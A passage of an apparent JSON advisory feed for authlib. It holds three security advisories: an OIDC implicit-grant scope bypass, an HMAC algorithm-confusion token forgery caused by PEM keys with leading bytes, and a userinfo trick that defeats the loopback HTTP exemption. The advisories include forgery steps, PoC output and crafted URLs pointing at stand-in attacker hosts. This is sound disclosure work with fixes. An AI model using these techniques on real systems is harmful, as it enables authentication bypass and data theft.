https://7thparkk.github.io/","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-27T15:39:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-fch4-3c6x-j4gc","https://nvd.nist.gov/vuln/detail/CVE-2026-114618","https://github.com/authlib/authlib/pull/945","https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf","https://github.com/authlib/authlib/releases/tag/v1.9.0","https://github.com/advisories/GHSA-fch4-3c6x-j4gc"],"source_kind":"github","identifiers":["GHSA-fch4-3c6x-j4gc","CVE-2026-114618"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-27T16:00:11.850Z","updated_at":"2026-11-06T02:00:25.939Z","epss_percentage":0.00351,"epss_percentile":0.28762,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mY2g0LTNjNngtajRnY84AB_oi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mY2g0LTNjNngtajRnY84AB_oi","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.9.0","vulnerable_version_range":"\u003c 1.9.0"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mY2g0LTNjNngtajRnY84AB_oi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNjg2LTJxbWctaHFjN84AB_oh","url":"https://github.com/advisories/GHSA-q686-2qmg-hqc7","title":"Authlib: OpenID implicit grant checks raw scope instead of allowed scope before issuing ID tokens","description":"## Report metadata\n\n| Field | Value |\n| --- | --- |\n| Package | `authlib` (PyPI, `pkg:pypi/authlib`) |\n| Repository | https://github.com/authlib/authlib |\n| Component | `authlib.oidc.core.grants.implicit.OpenIDImplicitGrant.validate_authorization_request` |\n| Vulnerability class | Authorization bypass: a client's scope restriction is bypassed for OpenID Connect ID token issuance |\n| Verified against | `c529a61af40e3efe05286140e00fbdced07d7987` (v1.8.0). Earlier releases were not checked. |\n| API surface | Public API (`OpenIDImplicitGrant`, registered with `server.register_grant(...)`) |\n| Affected in default configuration | Yes. No non-default option is needed once `OpenIDImplicitGrant` is registered. Client metadata decides exposure: Authlib's standard `ClientMixin` checks response type and scope independently, so a client can be permitted `id_token` responses without being allowed the `openid` scope. |\n\n## Summary\n\n`OpenIDImplicitGrant.validate_authorization_request()` first runs the parent `ImplicitGrant` validation, which filters the requested scope through `client.get_allowed_scope()` and stores the result in `request.scope`. It then decides whether this is an OpenID request by checking the raw, client-supplied `request.payload.scope` instead of that filtered value. A client that is allowed `profile` but not `openid` can therefore request `scope=openid profile`, pass the check, and receive a signed ID token (with `sub` and profile claims) once the user consents. This happens even when Authlib's built-in, scope-filtering `BearerTokenGenerator` is in use.\n\nThe tainted input is the authorization request's `scope` parameter. The OAuth client fully controls it, and the client is the very party the scope restriction is meant to constrain. Any registered client can add `openid` to its request if it is permitted an `id_token` or `id_token token` response type and its allowed scopes exclude `openid` but include a claim-bearing scope such as `profile`.\n\nSibling paths treat the same client correctly, which suggests the raw-scope check is a bug rather than intended behaviour:\n\n- `ImplicitGrant.validate_authorization_request()` -\u003e filters the requested scope through `client.get_allowed_scope()` into `request.scope` (safe, [`authlib/oauth2/rfc6749/grants/implicit.py` lines 141-147](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oauth2/rfc6749/grants/implicit.py#L141-L147))\n- `OpenIDImplicitGrant.validate_authorization_request()` -\u003e **checks the raw `request.payload.scope` (unsafe, [`authlib/oidc/core/grants/implicit.py` line 72](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L72))**\n- `UserInfoEndpoint` -\u003e rejects the same client's access token with 403 `insufficient_scope` (safe; observed during verification, line not recorded)\n- OIDC authorization code flow -\u003e issues no `id_token` for the same client (safe; observed during verification, line not recorded)\n\n## Impact\n\nA registered OAuth client that the operator has excluded from the `openid` scope can get an OpenID Connect ID token for any user who logs in and approves its authorization request. During verification the provider returned an RS256-signed ID token carrying `iss`, `aud` (the requesting client), `nonce`, `auth_time`, `at_hash`, `sub` and `name`, while the granted scope was only `profile`. A consent page built the way the Authlib docs show lists only `profile`, so the user is not shown that an identity token will be issued.\n\nWithout this bug, the same request fails with `InvalidScopeError` (\"Missing 'openid' scope\") because the client's resolved scope does not include `openid`. The new capability is the ID token itself: a signed assertion of the user's identity (`sub`) plus claims from the client's other allowed scopes. Gating that token is exactly what the `openid` scope is for. The access token stays restricted when the built-in token generator is used: Authlib's `UserInfoEndpoint` rejects it with 403 `insufficient_scope`.\n\n**Scoring note:** we did not compute a CVSS score. An initial triage rated this High. After dynamic verification we assess practical severity as closer to Medium, because:\n\n1. The attacker must be a registered client that is permitted `id_token` response types.\n2. The user must log in and consent.\n3. The ID token's `aud` is the attacking client.\n\nTwo kinds of deployment are not affected:\n\n- Deployments that use only the OIDC authorization code flow. During verification, that flow issued no ID token for the same client.\n- Deployments where every client permitted an `id_token` or `id_token token` response type is also allowed the `openid` scope.\n\n## Preconditions\n\n1. The authorization server registers `OpenIDImplicitGrant` (or a subclass), e.g. `server.register_grant(MyOpenIDImplicitGrant)`. The vulnerable method runs on every OIDC implicit authorization request.\n2. A client's metadata permits an OIDC implicit response type (`id_token` or `id_token token`). Nothing in Authlib ties this to the `openid` scope. The standard SQLAlchemy `ClientMixin` checks response type and scope independently, and it filters requested scopes against the client's allowed scopes at [`authlib/integrations/sqla_oauth2/client_mixin.py:124-129`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/integrations/sqla_oauth2/client_mixin.py#L124-L129).\n3. That client's allowed scopes exclude `openid` but include another claim-bearing scope, such as `profile`.\n4. The attacker controls that registered client and sends an authorization request that adds `openid` to otherwise allowed scopes (e.g. `scope=openid profile`), with a `nonce`.\n5. A user logs in and approves the request.\n6. Branch condition: the raw `request.payload.scope` contains `openid` while the filtered `request.scope` does not. So `is_openid_scope(self.request.payload.scope)` is true at `implicit.py:72` and no `InvalidScopeError` is raised.\n\nNo non-standard usage, monkey-patching or unusual configuration is needed: this is the public grant used as intended. Keeping a client's response types and allowed scopes in sync is not documented as the integrator's responsibility. The parent grant stores the filtered `request.scope` specifically so that authorization decisions use it. We did not capture a link to the relevant Authlib docs page, but the verification built its consent page the way those docs show.\n\n## Data flow\n\n1. **Source**: the OAuth client controls the authorization request's `scope` parameter, e.g. `GET /authorize?response_type=id_token%20token\u0026client_id=c\u0026redirect_uri=https%3A%2F%2Fc%2Fcb\u0026scope=openid%20profile\u0026nonce=n`. The raw value remains available as `request.payload.scope`.\n2. **Propagation**: `ImplicitGrant.validate_authorization_request()` filters the requested scope through `client.get_allowed_scope()` and stores the result in `request.scope` (here `'profile'`). `request.payload.scope` still holds the raw `openid profile` ([`authlib/oauth2/rfc6749/grants/implicit.py:141-147`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oauth2/rfc6749/grants/implicit.py#L141-L147)).\n3. **Sink**: `OpenIDImplicitGrant.validate_authorization_request()` uses the raw value to decide whether this is an OpenID request: `if not is_openid_scope(self.request.payload.scope):` ([`authlib/oidc/core/grants/implicit.py:72`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L72)). The injected `openid` satisfies the check, so the method returns the redirect URI instead of raising `InvalidScopeError` ([`authlib/oidc/core/grants/implicit.py:70-84`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L70-L84)).\n4. **Reachability**: `OpenIDImplicitGrant` is the public grant that serves OIDC implicit authorization requests. After the user consents, `create_granted_params()` and `process_implicit_token()` issue the ID token and user claims ([`authlib/oidc/core/grants/implicit.py:112-129`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L112-L129), [`authlib/oidc/core/grants/implicit.py:132-169`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L132-L169)).\n\n## Vulnerable code\n\n`authlib/oidc/core/grants/implicit.py`, lines 70-84 at `c529a61af40e3efe05286140e00fbdced07d7987` (an excerpt; `...` marks code left out of the captured snippet):\n\n```python\nredirect_uri = super().validate_authorization_request()  # safe: parent grant sets the filtered request.scope\nif not is_openid_scope(self.request.payload.scope):  # \u003c-- sink (line 72): raw, client-supplied scope\n    raise InvalidScopeError(\"Missing 'openid' scope\", ...)\n...\nreturn redirect_uri\n```\n\n## Reproduction\n\nVerified two ways on Authlib `c529a61af40e3efe05286140e00fbdced07d7987` (v1.8.0):\n\n- a pytest PoC using the Flask test client\n- a standalone Flask OpenID Provider on localhost, driven with `curl`\n\nThe Python and Flask versions were not recorded.\n\nSetup: a client registered with `scope='profile'` only (no `openid`) and response types `id_token` / `id_token token`. It uses Authlib's built-in SQLAlchemy `ClientMixin` and the built-in scope-filtering `BearerTokenGenerator`.\n\n1. The client sends an authorization request with `scope=openid profile` and a `nonce`.\n2. `ImplicitGrant` sets `request.scope='profile'`. A consent page built the way the docs show displays only `profile`.\n3. `OpenIDImplicitGrant.validate_authorization_request()` checks the raw `request.payload.scope` at line 72, so the request passes.\n4. After the user approves, the provider returns an RS256-signed ID token with `iss`, `aud` (the client), `nonce`, `auth_time`, `at_hash`, `sub` and `name`, while the granted scope is `profile`. The ID token's signature verified against the provider's JWKS.\n\nControls run during verification:\n\n- The same request without `openid` returns `invalid_scope` (\"Missing 'openid' scope\").\n- Authlib's `UserInfoEndpoint` rejects this client's access token with 403 `insufficient_scope`.\n- The OIDC authorization code flow for the same client issues no `id_token`.\n\nThe sketch below shows the request shape against Authlib's Flask OIDC test app. The verification's own test script is not included here.\n\n```python\n# Client metadata: scope='profile' (no openid), response_types=['id_token token'].\nrv = client.get('/authorize?response_type=id_token%20token\u0026client_id=client-id\u0026redirect_uri=https%3A%2F%2Fclient.test%2Fauthorized\u0026scope=openid%20profile\u0026nonce=n')\n# after the user grants consent:\nassert 'id_token=' in rv.headers['Location']  # should have been rejected: openid is not an allowed scope\n```\n\n- **Expected:** `InvalidScopeError` / `invalid_scope` (\"Missing 'openid' scope\"), because the client's resolved allowed scope (`request.scope == 'profile'`) does not include `openid`.\n- **Actual:** after consent, the redirect carries a signed ID token (including `sub` and `name`) while the granted scope is `profile`.\n\n## Suggested remediation\n\nDecide whether to issue OpenID tokens from the scope the grant actually authorized, never from the raw requested scope. The authorized scope is `self.request.scope`, which the parent grant has already filtered through `client.get_allowed_scope()`.\n\n```diff\n redirect_uri = super().validate_authorization_request()\n-if not is_openid_scope(self.request.payload.scope):\n+if not is_openid_scope(self.request.scope):\n     raise InvalidScopeError(\"Missing 'openid' scope\", ...)\n```\n\nDuring verification, this one-line change at line 72 blocked the exploit, and the existing OIDC implicit/hybrid tests still passed (23 passed).\n\nThe same rule should hold for the rest of OIDC issuance. `create_granted_params()` ([`authlib/oidc/core/grants/implicit.py:112-129`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L112-L129)) passes the raw `payload.scope` to `generate_token`. It should pass `self.request.scope` instead.\n\nNotes:\n\n- **Adjacent raw-scope use, worth fixing in the same change:** `create_granted_params()` hands the raw `payload.scope` to `generate_token`. So a deployment whose custom token generator does not filter scope also grants the client access-token scopes it is not allowed; verification noted `openid` and `email`. Authlib's built-in `BearerTokenGenerator` re-filters the access-token scope, so this only shows up with a non-filtering generator. That re-filtering does not stop the ID token.\n- **Other paths through the same raw value:** beyond `create_granted_params()`, we did not audit every scope read in `process_implicit_token()` ([`authlib/oidc/core/grants/implicit.py:132-169`](https://github.com/authlib/authlib/blob/c529a61af40e3efe05286140e00fbdced07d7987/authlib/oidc/core/grants/implicit.py#L132-L169)), or in other OIDC grants such as the hybrid grant. Whether they share the pattern is not verified.\n- **Already safe, no change needed:**\n  - the scope filtering in the parent `ImplicitGrant` and in `ClientMixin`\n  - `UserInfoEndpoint`, which rejects this client's access token with 403 `insufficient_scope`\n  - the OIDC authorization code flow, which issues no ID token for this client\n\nSuggested regression test, alongside the existing Flask OIDC implicit-grant tests:\n\n1. Register a client with `scope='profile'` and `response_types=['id_token token']`.\n2. Send an authorization request with `scope=openid profile` and a `nonce`, and approve it.\n3. Assert that the response is an `invalid_scope` error (\"Missing 'openid' scope\") and that the redirect contains no `id_token`.\n\nA second case should use a token generator that does not filter scope, and assert that the issued access token carries only the client's allowed scopes.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-27T15:38:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-q686-2qmg-hqc7","https://nvd.nist.gov/vuln/detail/CVE-2026-114619","https://github.com/authlib/authlib/pull/945","https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf","https://github.com/authlib/authlib/releases/tag/v1.9.0","https://github.com/advisories/GHSA-q686-2qmg-hqc7"],"source_kind":"github","identifiers":["GHSA-q686-2qmg-hqc7","CVE-2026-114619"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-27T16:00:11.850Z","updated_at":"2026-11-06T02:00:25.939Z","epss_percentage":0.00162,"epss_percentile":0.05414,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNjg2LTJxbWctaHFjN84AB_oh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNjg2LTJxbWctaHFjN84AB_oh","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.9.0","vulnerable_version_range":"\u003c 1.9.0"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNjg2LTJxbWctaHFjN84AB_oh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03dnIyLTJmZ3AtOXc3cM4AB_og","url":"https://github.com/advisories/GHSA-7vr2-2fgp-9w7p","title":"Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys","description":"## Summary\n\n`OctKey.import_key()` carries the only guard that stops an asymmetric public key from being used as an\nHMAC secret in `authlib.jose`. That guard is `raw_key.startswith(POSSIBLE_UNSAFE_KEYS)` — anchored at\nbyte 0 — while the loader that consumes the identical bytes on the asymmetric path\n(`cryptography.hazmat.primitives.serialization.load_pem_public_key` / `load_pem_x509_certificate`)\nskips anything before the `-----BEGIN` line. A PEM public key or X.509 certificate carrying **one\nleading byte** — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is\ntherefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the\nissuer's public key then mints an `HS256` token with arbitrary claims that `jwt.decode()` accepts as\nauthentic.\n\nThis is an incomplete fix of **CVE-2024-37568 / GHSA-5357-c2jx-v7qh**. That advisory's fix is exactly\nthis guard (`git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py` returns a single\ncommit, `3bea812` \"fix: prevent OctKey to import ssh/rsa/pem keys\", referencing issue #654), and the\noriginal attack works again unchanged whenever the stored PEM does not start at offset 0.\n\nReproduced end-to-end on **1.8.0**, the newest release (published 2026-08-30), and on `origin/main`\n(`c529a61`), with `cryptography` 50.0.2.\n\n## Preconditions\n\nBoth are deployment properties; neither is attacker-controlled at request time, and the attacker needs\nno secret and no user interaction.\n\n1. **The relying party uses the documented module-level `jwt` object.** `from authlib.jose import jwt`\n   is built at `authlib/jose/__init__.py:55-72` with the full list\n   `[\"HS256\",\"HS384\",\"HS512\",\"RS256\",...,\"EdDSA\"]`, and `JsonWebToken.decode`\n   (`authlib/jose/rfc7519/jwt.py:80`) exposes **no `algorithms` parameter**, so a caller of the\n   documented object has no way to narrow it. This is the first code sample in\n   `docs/jose/jwt.rst:21-31`.\n\n   This hazard is already documented: `docs/jose/jwt.rst:73-79` says\n   \"This decoding method is insecure. By default `jwt.decode` parses the alg header. This allows\n   symmetric macs and asymmetric signatures.\", and `docs/jose/jwt.rst:94-98` says \"You should never\n   combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes.\" The point of this report is\n   **not** that the mixed list exists — it is that the `oct_key.py:81` backstop shipped for precisely\n   that documented hazard does not hold.\n\n2. **The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with\n   `-----BEGIN `.** Each of the following forms was confirmed to forge, and each also still verifies a\n   genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:\n   * one leading newline — what a triple-quoted Python literal produces\n   * one leading space\n   * four-space indentation — an indented YAML/JSON/TOML config block\n   * a UTF-8 BOM — a Windows-editor artifact\n   * a leading comment line\n   * all of the above applied to an X.509 `CERTIFICATE` PEM instead of a `PUBLIC KEY` PEM\n\n   A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric\n   verification through this path, so I exclude it as a non-deployable configuration and mention it\n   only as further evidence of the recogniser/loader gap.\n\n## Details\n\n`authlib/jose/rfc7518/oct_key.py:10-17`\n\n```python\nPOSSIBLE_UNSAFE_KEYS = (\n    b\"-----BEGIN \",\n    b\"---- BEGIN \",\n    b\"ssh-rsa \",\n    b\"ssh-dss \",\n    b\"ssh-ed25519 \",\n    b\"ecdsa-sha2-\",\n)\n```\n\n`authlib/jose/rfc7518/oct_key.py:78-84`\n\n```python\nraw_key = to_bytes(raw)\n\n# security check\nif raw_key.startswith(POSSIBLE_UNSAFE_KEYS):\n    raise ValueError(\"This key may not be safe to import\")\n\nkey = cls(raw_key=raw_key, options=options)\n```\n\n`bytes.startswith` is anchored. The loader on the asymmetric path is not:\n`authlib/jose/rfc7517/_cryptography_key.py:22-29` calls `load_pem_public_key` /\n`load_pem_x509_certificate`, both of which scan forward for the armour header. So the set of byte\nstrings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference\nis exploitable.\n\nReach, for a caller of the documented object:\n\n* `authlib/jose/rfc7518/jws_algs.py:59` — `HMACAlgorithm.prepare_key(raw_data)` returns\n  `OctKey.import_key(raw_data)`; this is the whole of the HMAC key handling.\n* `authlib/jose/rfc7519/jwt.py:80` — `JsonWebToken.decode(self, s, key, claims_cls=None,\n  claims_options=None, claims_params=None)`; the algorithm comes from the token header and is checked\n  only against the instance's list.\n* `authlib/jose/__init__.py:55-72` — that list contains both HS\\* and RS\\*/ES\\*/PS\\*/EdDSA.\n\nSo `oct_key.py:81` is the only thing between a mixed allow-list and using the public key as an HMAC\nsecret, and it is bypassed by a single leading byte.\n\n## PoC\n\n`poc-authlib-e2e-http.py` stands up a Flask API whose only authentication is the documented\n`jwt.decode(token, PUBLIC_KEY)`, where `PUBLIC_KEY` is the issuer's RSA public key embedded as a\ntriple-quoted Python literal (hence one leading newline). The attacker is given **only** that public\nkey.\n\n```\nauthlib=1.8.0 cryptography=50.0.2 flask=3.1.3\nguard  = authlib/jose/rfc7518/oct_key.py:81   raw_key.startswith(POSSIBLE_UNSAFE_KEYS)\ncall   = authlib/jose/rfc7519/jwt.py:80       JsonWebToken.decode(s, key)  [no `algorithms` param]\nalgs   = authlib/jose/__init__.py:55+         module-level jwt = JsonWebToken([HS256..RS256..ES256..])\n\n[baseline 1] genuine RS256 token, role=user            -\u003e (403, '{\"error\":\"not admin\",\"sub\":\"alice\"}')\n[baseline 2] genuine RS256 token, role=admin           -\u003e (200, '{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"root\"}')\n[CONTROL 1 ] payload tampered, RS256 sig kept          -\u003e (401, '{\"error\":\"BadSignatureError: bad_signature: \"}')\n[CONTROL 2 ] HS256 forged with CANONICAL pubkey        -\u003e BLOCKED at key import: ValueError: This key may not be safe to import\n[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token   -\u003e REJECTED: UnsupportedAlgorithmError\n\nATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.\nforged token header: {'alg': 'HS256', 'typ': 'JWT'}\n[ATTACK    ] HS256 forged with the PUBLIC key          -\u003e (200, '{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"attacker\"}')\n```\n\nThe three controls establish that the guard does work on a canonical PEM (so the leading byte is\nload-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an\neffective mitigation.\n\nPer-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds\non the exact same bytes:\n\n```\n### RSA-2048/RS256\n  canonical PEM  (CONTROL A)   loader=load_pem_public_key  startswith_guard=True  RS/ES-verify=OK   BLOCKED:ValueError\n  indented PEM   (4 spaces)    loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin\n  UTF-8 BOM prefix             loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin\n  leading comment line         loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin\n  leading blank line           loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin\n  leading single space         loader=load_pem_public_key  startswith_guard=False RS/ES-verify=OK   FORGED sub=superadmin role=admin\n  DER (SPKI) bytes             loader=load_der_public_key  startswith_guard=False RS/ES-verify=FAIL  FORGED sub=superadmin role=admin\n  [CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -\u003e REJECTED:UnsupportedAlgorithmError\n\n### EC-P256/ES256\n  identical results for all seven rows\n\nSame five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.\n```\n\n### Steps to reproduce\n\n1. `pip install authlib==1.8.0 cryptography flask requests`\n2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline\n   (or indent it, or prepend a BOM or a comment line).\n3. Confirm `authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS` does not match those bytes with\n   `startswith`, while `cryptography.hazmat.primitives.serialization.load_pem_public_key` loads them.\n4. `from authlib.jose import jwt` then\n   `tok = jwt.encode({\"alg\":\"HS256\"}, {\"sub\":\"attacker\",\"role\":\"admin\"}, mutated_pem)`\n5. `jwt.decode(tok, mutated_pem)` — verification succeeds and the claims are returned.\n\n## Impact\n\nCryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm\nconfusion). An unauthenticated attacker who knows only the issuer's public verification key — public by\ndefinition, normally served at `/.well-known/jwks.json` or in IdP metadata — forges tokens with\narbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP\n200 and the application's admin secrets for `sub=attacker`.\n\nAuthlib had **103,356,930** PyPI downloads in the last month (pypistats `/api/packages/authlib/recent`,\nread 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented\nfootgun it backstops.\n\nTwo notes for triage, in the interest of completeness:\n\n* `authlib.jose` emits `AuthlibDeprecationWarning` (\"please use joserfc instead. It will be compatible\n  before version 2.0.0\"). It is deprecated but still shipped, still documented in `docs/jose/jwt.rst`,\n  and still carries the download volume above.\n* **joserfc is not affected by this mechanism.** 1.7.5 was checked: keys carry an explicit `kty` in the\n  data model, so `jwt.decode` with an `RSAKey`/`ECKey` and `alg=HS256` raises `InvalidKeyTypeError` for\n  every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what\n  makes the class unrepresentable there.\n\n## Suggested remediation\n\nEither of these closes the class rather than one more byte form:\n\n1. Decide key family by **type, not by bytes**. Attempt `load_pem_public_key` /\n   `load_pem_x509_certificate` / `load_ssh_public_key` / `load_der_public_key` on the candidate and\n   reject it as an `oct` key if any of them succeeds. This is the approach that makes joserfc immune and\n   it cannot drift out of step with the loader, because it *is* the loader.\n2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check\n   (`any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)`) and add the `-----BEGIN CERTIFICATE-----` and\n   DER `SubjectPublicKeyInfo` cases. This is strictly weaker than (1): the recogniser can drift again\n   the next time `cryptography` becomes more tolerant.\n\nSeparately, and independent of this report: giving `JsonWebToken.decode` an `algorithms=` parameter\nwould let callers of the documented module-level object apply the mitigation the docs recommend without\nconstructing a second `JsonWebToken`.\n\n## Credit\n\nFound by zer0d4y5. Happy to test a patch branch before release.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-27T15:38:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p","https://nvd.nist.gov/vuln/detail/CVE-2026-114615","https://github.com/authlib/authlib/pull/945","https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf","https://github.com/authlib/authlib/releases/tag/v1.9.0","https://github.com/advisories/GHSA-7vr2-2fgp-9w7p"],"source_kind":"github","identifiers":["GHSA-7vr2-2fgp-9w7p","CVE-2026-114615"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-27T16:00:11.850Z","updated_at":"2026-11-06T02:00:25.939Z","epss_percentage":0.00213,"epss_percentile":0.11648,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03dnIyLTJmZ3AtOXc3cM4AB_og","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03dnIyLTJmZ3AtOXc3cM4AB_og","packages":[{"ecosystem":"pypi","package_name":"authlib","versions":[{"first_patched_version":"1.9.0","vulnerable_version_range":"\u003e= 1.3.1, \u003c= 1.8.0"}],"purl":"pkg:pypi/authlib"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03dnIyLTJmZ3AtOXc3cM4AB_og/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qajdoLWMzaGctbTIzeM4AB_oa","url":"https://github.com/advisories/GHSA-jj7h-c3hg-m23x","title":"Authlib: is_secure_transport() loopback exemption can be bypassed with a userinfo component, allowing cleartext-HTTP URLs to non-loopback hosts","description":"### Summary\n`authlib.common.security.is_secure_transport()` is used throughout Authlib to enforce the OAuth 2.0 / OIDC requirement that endpoint and redirect URIs use TLS, with an RFC 8252 §7.3 exemption for loopback `http://` URIs. The check is implemented as a textual `str.startswith` prefix match, so a URL such as `http://localhost:80@evil.example/cb` — whose actual host is `evil.example` and whose scheme is plain `http` — is accepted as \"secure\". An attacker who can supply a URL to any of the sinks that rely on this check (OIDC RP-Initiated Logout dynamic client registration, RFC 8414 authorization-server metadata validation, error-redirect rendering) can smuggle a cleartext non-loopback URL past the TLS-required guard. This is a defense-in-depth / spec-conformance failure; severity is low.\n\n### Details\n**Affected versions:** `authlib \u003e= 0.13, \u003c= 1.7.2` (all releases containing the loopback prefix exemption; verified against 1.7.2, the current latest)\n\nThe vulnerable function, from `authlib/common/security.py` at v1.7.2:\n\n```python\n13  def is_secure_transport(uri):\n14      \"\"\"Check if the uri is over ssl.\"\"\"\n15      if os.getenv(\"AUTHLIB_INSECURE_TRANSPORT\"):\n16          return True\n17\n18      uri = uri.lower()\n19      return uri.startswith(\n20          (\"https://\", \"http://localhost:\", \"http://127.0.0.1:\", \"http://[::1]:\")\n21      )\n```\n\nPer RFC 3986 §3.2 the authority component of a URI is `[ userinfo \"@\" ] host [ \":\" port ]`. The URL `http://localhost:80@evil.example/cb` therefore has userinfo `localhost:80` and host `evil.example`. Because the check is a raw prefix match against the full URL string, the `http://localhost:` prefix matches the userinfo portion and the function returns `True` even though the scheme is `http` and the host is an arbitrary external name. The trailing `:` in each allow-list entry — presumably intended to force a `host:port` shape and reject `http://localhost.evil.com` — is also satisfied by the `user:password` separator inside userinfo, so `http://localhost:@evil.example/` matches too. The same construction works against all three loopback prefixes (`http://127.0.0.1:...@evil.example/`, `http://[::1]:...@evil.example/`).\n\n`is_secure_transport()` is consumed at the following locations in v1.7.2, none of which independently reject URLs containing a userinfo component:\n\n- `authlib/oidc/rpinitiated/registration.py:50-57` — validation of `post_logout_redirect_uris` during OIDC dynamic client registration for public clients (`token_endpoint_auth_method == \"none\"`). The preceding `is_valid_url()` check (`authlib/common/urls.py:142-146`) only requires `parsed.scheme and parsed.hostname` and does **not** reject userinfo, so the crafted URL passes both guards. A public client can therefore register `http://localhost:80@attacker.example/cb` as a post-logout redirect target; the OpenID Provider will later 302 the end-user's browser to that cleartext non-loopback URL (carrying `state`).\n- `authlib/oauth2/rfc8414/models.py:61,75,100,115,123,248,284` — validation of `issuer`, `authorization_endpoint`, `token_endpoint`, `jwks_uri`, `registration_endpoint`, `revocation_endpoint`, `introspection_endpoint` in Authorization Server Metadata / OIDC Discovery documents. A relying party using `AuthorizationServerMetadata.validate()` would accept endpoint values of this form as satisfying the \"MUST use https\" requirement when they do not.\n- `authlib/oidc/rpinitiated/discovery.py:12` — validation of `end_session_endpoint` in provider metadata.\n- `authlib/oauth2/rfc6749/errors.py:64` and `authlib/oauth1/rfc5849/errors.py:33` — governs how `redirect_uri` is rendered in error bodies (cosmetic).\n\nThe `http://localhost:` prefix was introduced in commit `0225c86b` (first released in v0.13); `http://127.0.0.1:` and `http://[::1]:` were added later in the 1.6.x line. All variants share the same prefix-match weakness.\n\n### PoC\nAgainst the current 